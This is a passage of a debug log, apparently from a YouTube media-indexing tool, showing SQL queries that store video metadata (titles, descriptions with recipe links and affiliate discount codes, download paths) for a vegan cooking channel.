Gluten-Free!) | One Pot Recipe, 30 Minutes [0MSW0B91n9c].NA", false, ~U[2026-03-21 00:00:00Z]] 20:31:06.118 [debug] QUERY OK source="sources" db=1.0ms idle=349.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.120 [debug] QUERY OK source="media_items" db=1.9ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 00:00:00Z], 1] 20:31:06.123 [debug] QUERY OK source="media_items" db=2.2ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nIf you're looking for a new vegan pasta recipe then look no further because this dill pickle pasta is going to blow your mind! This vegan recipe is great hot like I made it or great as a meal prepped cold pasta salad. If you love dill pickles then I guarantee you'll love this recipe.\n\nGet the recipe for my Creamy Dill Pickle Pasta on my blog! 🔗 https://steamyvegan.com/creamy-dill-p...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recent recipes on the channel:\nTofu Bibimbap: \u00A0\u00A0\u00A0•\u00A0Love\u00A0bibimbap?\u00A0You\u00A0NEED\u00A0to\u00A0try\u00A0one\u00A0of\u00A0my\u00A0f...\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Flatbread: \u00A0\u00A0\u00A0•\u00A0I\u00A0use\u00A0this\u00A02\u00A0ingredient\u00A0lentil\u00A0bread\u00A0for\u00A0w...\u00A0\u00A0\n\nCheck out my recipes on these sites:\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan", "This high protein pasta might actually change your life", "be77b832-c52e-4a5a-af69-8b303cd45ebe", 1, [], false, "LZ325pfdefA", "https://www.youtube.com/watch?v=LZ325pfdefA", 2, "/downloads/downloads/alec/Steamy Vegan/2026-03-17 This high protein pasta might actually change your life/This high protein pasta might actually change your life [LZ325pfdefA].NA", false, false, false, 1, ~U[2026-03-17 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nIf you're looking for a new vegan pasta recipe then look no further because this dill pickle pasta is going to blow your mind! This vegan recipe is great hot like I made it or great as a meal prepped cold pasta salad. If you love dill pickles then I guarantee you'll love this recipe.\n\nGet the recipe for my Creamy Dill Pickle Pasta on my blog! 🔗 https://steamyvegan.com/creamy-dill-p...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recent recipes on the channel:\nTofu Bibimbap: \u00A0\u00A0\u00A0•\u00A0Love\u00A0bibimbap?\u00A0You\u00A0NEED\u00A0to\u00A0try\u00A0one\u00A0of\u00A0my\u00A0f...\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Flatbread: \u00A0\u00A0\u00A0•\u00A0I\u00A0use\u00A0this\u00A02\u00A0ingredient\u00A0lentil\u00A0bread\u00A0for\u00A0w...\u00A0\u00A0\n\nCheck out my recipes on these sites:\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan", "This high protein pasta might actually change your life", 1, nil, false, "LZ325pfdefA", "https://www.youtube.com/watch?v=LZ325pfdefA", "/downloads/downloads/alec/Steamy Vegan/2026-03-17 This high protein pasta might actually change your life/This high protein pasta might actually change your life [LZ325pfdefA].NA", false, ~U[2026-03-17 00:00:00Z]] 20:31:06.125 [debug] QUERY OK source="sources" db=1.2ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.127 [debug] QUERY OK source="media_items" db=2.1ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-14 00:00:00Z], 1] 20:31:06.146 [debug] QUERY OK source="media_items" db=18.0ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nIf you're looking for a vegan, gluten-free and easy sheet pan bibimbap recipe then you'll love this one. I used tofu as the main protein, a spicy gochujang sauce, and a bunch of crunchy veggies that I cooked on sheet pans to make this vegan recipe far easier and quicker then others. Hope you enjoy!\n\nGet the recipe for Sheet Pan Tofu Bibimbap! 🔗 https://steamyvegan.com/sheet-pan-tof...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recent recipes on the channel:\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nDumpling Lasagna: \u00A0\u00A0\u00A0•\u00A0I\u00A0veganized\u00A0the\u00A0viral\u00A0DUMPLING\u00A0LASAGNA\u00A0\u00A0\nDan Dan Dumplings: \u00A0\u00A0\u00A0•\u00A0This\u00A0tofu\u00A0recipe\u00A0makes\u00A0the\u00A0CRISPIEST\u00A0rice\u00A0...\u00A0\u00A0\nThai Noodle Soup: \u00A0\u00A0\u00A0•\u00A0This\u00A0chickpea\u00A0and\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Love bibimbap? You NEED to try one of my fave sheet pan dinners!", "34871e53-e966-4386-bcd9-b65c4013f668", 1, [], false, "9ihauZUZp9E", "https://www.youtube.com/watch?v=9ihauZUZp9E", 3, "/downloads/downloads/alec/Steamy Vegan/2026-03-14 Love bibimbap? You NEED to try one of my fave sheet pan dinners!/Love bibimbap? You NEED to try one of my fave sheet pan dinners! [9ihauZUZp9E].NA", false, false, false, 1, ~U[2026-03-14 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nIf you're looking for a vegan, gluten-free and easy sheet pan bibimbap recipe then you'll love this one. I used tofu as the main protein, a spicy gochujang sauce, and a bunch of crunchy veggies that I cooked on sheet pans to make this vegan recipe far easier and quicker then others. Hope you enjoy!\n\nGet the recipe for Sheet Pan Tofu Bibimbap! 🔗 https://steamyvegan.com/sheet-pan-tof...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these recent recipes on the channel:\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nDumpling Lasagna: \u00A0\u00A0\u00A0•\u00A0I\u00A0veganized\u00A0the\u00A0viral\u00A0DUMPLING\u00A0LASAGNA\u00A0\u00A0\nDan Dan Dumplings: \u00A0\u00A0\u00A0•\u00A0This\u00A0tofu\u00A0recipe\u00A0makes\u00A0the\u00A0CRISPIEST\u00A0rice\u00A0...\u00A0\u00A0\nThai Noodle Soup: \u00A0\u00A0\u00A0•\u00A0This\u00A0chickpea\u00A0and\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Love bibimbap? You NEED to try one of my fave sheet pan dinners!", 1, nil, false, "9ihauZUZp9E", "https://www.youtube.com/watch?v=9ihauZUZp9E", "/downloads/downloads/alec/Steamy Vegan/2026-03-14 Love bibimbap? You NEED to try one of my fave sheet pan dinners!/Love bibimbap? You NEED to try one of my fave sheet pan dinners! [9ihauZUZp9E].NA", false, ~U[2026-03-14 00:00:00Z]] 20:31:06.147 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=26.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.150 [debug] QUERY OK source="media_items" db=2.8ms idle=24.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 00:00:00Z], 1] 20:31:06.163 [debug] QUERY OK source="media_items" db=10.9ms idle=26.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil bread recipe makes the best lentil wraps, flatbreads, or moong dal chilla. This easy recipe is vegan, gluten-free, and packed full of protein to make it a super healthy recipe compared to traditional flour recipes. Hope you enjoy! 🍪\n\nGet the recipe on my blog! ➡️ https://steamyvegan.com/lentil-flatbr...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes using lentils:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "I use this 2 ingredient lentil bread for wraps, flatbreads and chilla", "46715fdc-e9f4-44e3-8750-acc27da99683", 1, [], false, "CJbics5QJMc", "https://www.youtube.com/watch?v=CJbics5QJMc", 4, "/downloads/downloads/alec/Steamy Vegan/2026-03-10 I use this 2 ingredient lentil bread for wraps, flatbreads and chilla/I use this 2 ingredient lentil bread for wraps, flatbreads and chilla [CJbics5QJMc].NA", false, false, false, 1, ~U[2026-03-10 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil bread recipe makes the best lentil wraps, flatbreads, or moong dal chilla. This easy recipe is vegan, gluten-free, and packed full of protein to make it a super healthy recipe compared to traditional flour recipes. Hope you enjoy! 🍪\n\nGet the recipe on my blog! ➡️ https://steamyvegan.com/lentil-flatbr...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes using lentils:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "I use this 2 ingredient lentil bread for wraps, flatbreads and chilla", 1, nil, false, "CJbics5QJMc", "https://www.youtube.com/watch?v=CJbics5QJMc", "/downloads/downloads/alec/Steamy Vegan/2026-03-10 I use this 2 ingredient lentil bread for wraps, flatbreads and chilla/I use this 2 ingredient lentil bread for wraps, flatbreads and chilla [CJbics5QJMc].NA", false, ~U[2026-03-10 00:00:00Z]] 20:31:06.166 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=36.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.170 [debug] QUERY OK source="media_items" db=3.5ms idle=20.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-07 00:00:00Z], 1] 20:31:06.175 [debug] QUERY OK source="media_items" db=3.8ms idle=23.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese oatmeal raisin cookies are made with chickpeas and they're vegan, gluten-free, and a super easy recipe! Whether you want to eat this vegan recipe as a breakfast cookie or a healthy snack, they're super satisfying. You won't taste the chickpeas at all but they sneak in some healthy fibre and protein that make these oatmeal raisin cookies better than the old-fashioned ones. Enjoy! 🍪\n\nGet the recipe on my blog! ➡️ https://steamyvegan.com/chickpea-oatm...\ncorrection: Video says bake at 400℉, correct temp is 350℉ as written in the blog 😉\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This chickpea recipe makes the BEST cookies!", "b21e824c-6b55-4522-b283-232be9285ae1", 1, [], false, "uF7uyrusBxs", "https://www.youtube.com/watch?v=uF7uyrusBxs", 5, "/downloads/downloads/alec/Steamy Vegan/2026-03-07 This chickpea recipe makes the BEST cookies!/This chickpea recipe makes the BEST cookies! [uF7uyrusBxs].NA", false, false, false, 1, ~U[2026-03-07 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese oatmeal raisin cookies are made with chickpeas and they're vegan, gluten-free, and a super easy recipe! Whether you want to eat this vegan recipe as a breakfast cookie or a healthy snack, they're super satisfying. You won't taste the chickpeas at all but they sneak in some healthy fibre and protein that make these oatmeal raisin cookies better than the old-fashioned ones. Enjoy! 🍪\n\nGet the recipe on my blog! ➡️ https://steamyvegan.com/chickpea-oatm...\ncorrection: Video says bake at 400℉, correct temp is 350℉ as written in the blog 😉\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US) - I love the Complete Coffee or Chocolate Maca Protein Powders\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This chickpea recipe makes the BEST cookies!", 1, nil, false, "uF7uyrusBxs", "https://www.youtube.com/watch?v=uF7uyrusBxs", "/downloads/downloads/alec/Steamy Vegan/2026-03-07 This chickpea recipe makes the BEST cookies!/This chickpea recipe makes the BEST cookies! [uF7uyrusBxs].NA", false, ~U[2026-03-07 00:00:00Z]] 20:31:06.176 [debug] QUERY OK source="sources" db=1.5ms idle=24.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.180 [debug] QUERY OK source="media_items" db=2.3ms idle=15.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-05 00:00:00Z], 1] 20:31:06.182 [debug] QUERY OK source="media_items" db=1.7ms idle=13.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This 'what I eat in a day' video shows you how to make a delicious and easy protein cereal recipe (that also works as a healthy granola) right in your own kitchen! I went on a fun lunch date with Brad at a vegan café, and talk about the healthy anti-inflammatory soup I've been making on REPEAT this winter. I love showing you my realistic, nourishing plant based meals and sharing how wonderful it is to eat on a plant based diet! If you like easy vegan recipes you should definitely follow along. #steamyvegan\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThank you to MSBLUE for sponsoring today's video!\n💎 Exclusive Steamy Vegan Community discount:\n✨ 15% off storewide code: 15Janelle\n🔗 Shop now:https://go.msblue.com/e06660\n#MSBLUE\n\nJoin the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES MENTIONED IN THIS VIDEO\nProtein cereal 🔗 https://steamyvegan.com/protein-cereal/\nAnti-Inflammatory lentil soup 🔗 https://steamyvegan.com/anti-inflamma...\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nThis video shows you how to make a delicious and easy granola 